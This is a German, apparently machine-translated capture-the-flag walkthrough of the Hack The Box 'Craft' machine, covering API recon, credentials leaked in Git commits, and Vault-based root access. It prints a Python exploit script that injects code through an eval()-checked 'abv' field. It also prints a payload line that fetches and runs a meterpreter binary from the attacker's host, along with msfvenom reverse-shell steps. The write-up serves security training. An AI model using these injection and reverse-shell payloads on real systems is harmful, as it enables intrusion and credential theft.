Hack The Box - Walkthrough Craft. Wir stöbern in Git, nutzen Schwachstellen in der API aus, beschäftigen uns mit Vault

Bild

In diesem Artikel beginne ich mit der Veröffentlichung von Lösungen, die von der HackTheBox- Site zur weiteren Verarbeitung gesendet wurden. Ich hoffe, dass dies zumindest jemandem hilft, sich auf dem Gebiet der Informationssicherheit weiterzuentwickeln. Wir werden untersuchen, wie Sie RCE in der API ausnutzen, in die Gogs-Repositorys eintauchen, mit Datenbanken arbeiten und mit dem geheimen Speicher- und Verwaltungssystem von Vault umgehen können.

Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder einem Host herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in einem privaten Netzwerk mit Personen enden, die sich mit dem Thema Informationssicherheit auskennen :)

Organisatorische Informationen
Speziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit weiterentwickeln möchten, werde ich folgende Kategorien beschreiben und besprechen:

  • PWN;
  • Kryptographie (Crypto);
  • Netzwerktechnologien (Netzwerk);
  • Reverse (Reverse Engineering);
  • Steganographie (Stegano);
  • Suche und Ausnutzung von WEB-Schwachstellen.

Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.

Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich in Telegram einen Channel und eine Gruppe erstellt, um alle Fragen im Bereich ICD zu diskutieren . Auch ich werde Ihre persönlichen Wünsche, Fragen, Anregungen und Empfehlungen persönlich berücksichtigen und auf alle antworten .

Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die er durch das Studium dieses Dokuments erlangt hat.

Intelligenz


Port-Scan


Dieser Computer hat eine IP-Adresse vom 10.10.10.110, die ich zu / etc / hosts hinzufüge.
10.10.10.110 craft.htb
Zunächst scannen wir offene Ports mit nmap und geben die Option -A an, um so viele Informationen wie möglich über die erkannten Dienste zu erhalten.
 nmap -A craft.htb 

Bild

Auf dem Computer sehen wir den SSH-Dienst sowie einen Webserver, der auf Port 443 ausgeführt wird. Wenn Sie zum Webserver gehen, wird uns angeboten, die API zu überprüfen.

Bild

Wenn wir versuchen, die API und den git zu betrachten, werden wir über unbekannte Sites informiert.

Bild

Daher fügen wir beide Domainnamen zu / etc / hosts hinzu.
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb


Jetzt öffnen sich beide Links. Die Craft-API ist angeblich eine Schnittstelle für die Arbeit mit der API. Als Erstes müssen wir herausfinden, wie sie funktioniert, und Gogs wird uns dabei helfen.

Bild

Einstiegspunkt


In Git ist das erste, was überprüft werden muss, Commits.

Bild

Nach dem Durchlaufen der Commits finden wir in 10e3ba4f0a die Authentifizierungsdaten des Benutzers.

Bild

Nachdem wir uns bei gogs in Korrespondenz eingeloggt haben, finden wir eine Erwähnung über den Fehler.

Bild

Durch Anklicken des Links erfahren wir, wie die Überprüfung in der eval () -Funktion abläuft, was sehr gefährlich ist, da Sie in dieser Funktion Code ausführen können.

Bild

Um die Hypothese zu testen, erstellen wir in der lokalen Python-Konsole ein Analogon der Funktion und versuchen, die Funktion "system ()" aus dem Modul "os" aufzurufen.

Bild

Der Code wurde erfolgreich ausgeführt! Jetzt müssen Sie einen Exploit schreiben, um wieder eine Verbindung herzustellen. Kopieren Sie in der ersten Phase den Code für die Authentifizierung und den Tokenempfang.
 #!/usr/bin/env python import requests import json response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) json_response = json.loads(response.text) token = json_response['token'] headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' } # make sure token is valid response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False) print(response.text) # create a sample brew with bogus ABV... should fail. print("Create bogus ABV brew") brew_dict = {} brew_dict['abv'] = '15.0' brew_dict['name'] = 'bullshit' brew_dict['brewer'] = 'bullshit' brew_dict['style'] = 'bullshit' json_data = json.dumps(brew_dict) response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False) print(response.text) 

In diesem Code wird unser Ladevorgang an den Parameter "abv" übergeben. Um die RCE-Annahme zu überprüfen, ersetzen Sie die Zeichenfolge '15 .0 'durch "__import __ (' os '). System (' ping your_ip ')".

Wir öffnen tcpdump, geben an, welche Schnittstelle abgehört werden soll, filtern nur ICMP-Pakete und starten den Exploit.

Bild

Bild

Wir stellen fest, dass wir uns selbst von einem entfernten Host aus anpingen konnten. Jetzt werfen wir Back-Connect. Es kann durch nc gemacht werden, aber lasst uns eine meterpreter-Shell bekommen. Dazu erzeugen Sie mit msfvenom eine Last. Wir geben die Last selbst (reverse_tcp), den lokalen Host und den Port (LHOST, LPORT) an und das Dateiformat ist elf.

Bild

Gleichzeitig schalten wir den lokalen Webserver ein. Konfigurieren Sie nun den Listener in msfconsole. Stellen Sie dazu die Parameter wie beim Laden ein.

Bild

Wir warten auf eingehende Verbindungen, jetzt müssen wir die Last auf den Host laden und starten.
brew_dict['abv'] = 'wget http://10.10.14.199/shell.bin ; chmod +x shell.bin ; ./shell.bin'
Im Metasplit-Fenster sehen wir eine eingehende Verbindung.

Bild

USER


Lassen Sie uns die Shell starten und sehen, unter wem wir arbeiten.

Bild

Nach dem Fazit des Terminals können wir davon ausgehen, dass wir uns im Docker-Container befinden. Schauen Sie sich den Gastgeber an.

Bild

Es gibt eine ausführbare Datei dbtest.py. Du solltest es sehen.

Bild

Das Programm stellt eine Verbindung zur Datenbank her und führt den Befehl mit anschließender Ausgabe aus. Schauen wir uns die Datenbank an. Dazu habe ich die interaktive Python-Konsole auf dem Host gestartet und den gesamten Code in sie kopiert, bevor der Befehl ausgeführt wurde.

Bild

Nun werden wir Tabellen anfordern.

Bild

Als Ergebnis haben wir 2 Datensätze zurückgegeben. Da cursor.fetchone () einen Eintrag ausgibt, werden wir zwei solche Ausgaben machen.

Bild

Also haben wir 2 Tische. Interessanter ist Benutzer. Wir zeigen alle Daten aus dieser Tabelle an.

Bild

Und es gibt 3 Einträge.

Bild

Und wir bekommen Benutzerkredite. Nachdem wir sie auf ssh ausprobiert haben und gescheitert sind, versuchen wir, uns auf git einzulassen. Und es stellt sich heraus, als Gilfoyle einzuloggen. Und er hat ein geschlossenes Depot.

Bild

Bild

Das .ssh-Verzeichnis ist sehr interessant. Es gibt zwei Schlüssel, und wir holen den privaten ab.

Bild

Wir versuchen, über ssh eine Verbindung mit diesem Schlüssel herzustellen.

Bild

Wurzel


Das erste, was man sich im Benutzerverzeichnis ansehen muss.

Bild

Wir finden ein Zeichen aus dem Tresor.

Bild

Nachdem ich mich mit Vault befasst habe , möchte ich sagen, dass es sich um ein Speicher- und Verwaltungssystem für Geheimnisse handelt, das Daten im Schlüssel- / Wertformat enthält, auf die über ein Token zugegriffen wird. Überprüfen Sie, ob der Speicher eingerichtet ist.

Bild

Werfen wir einen Blick auf die Liste der Geheimnisse .

Bild

Wir sehen also, dass der Zugriff auf ssh konfiguriert ist .

Bild

Jetzt geben wir das Einmalpasswort ein und sind als root im System.

Bild

Sie können sich uns per Telegramm anschließen . Bauen wir eine Community auf, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns gegenseitig in allen Fragen der IT- und Informationssicherheit helfen.

Source: https://habr.com/ru/post/de482970/


All Articles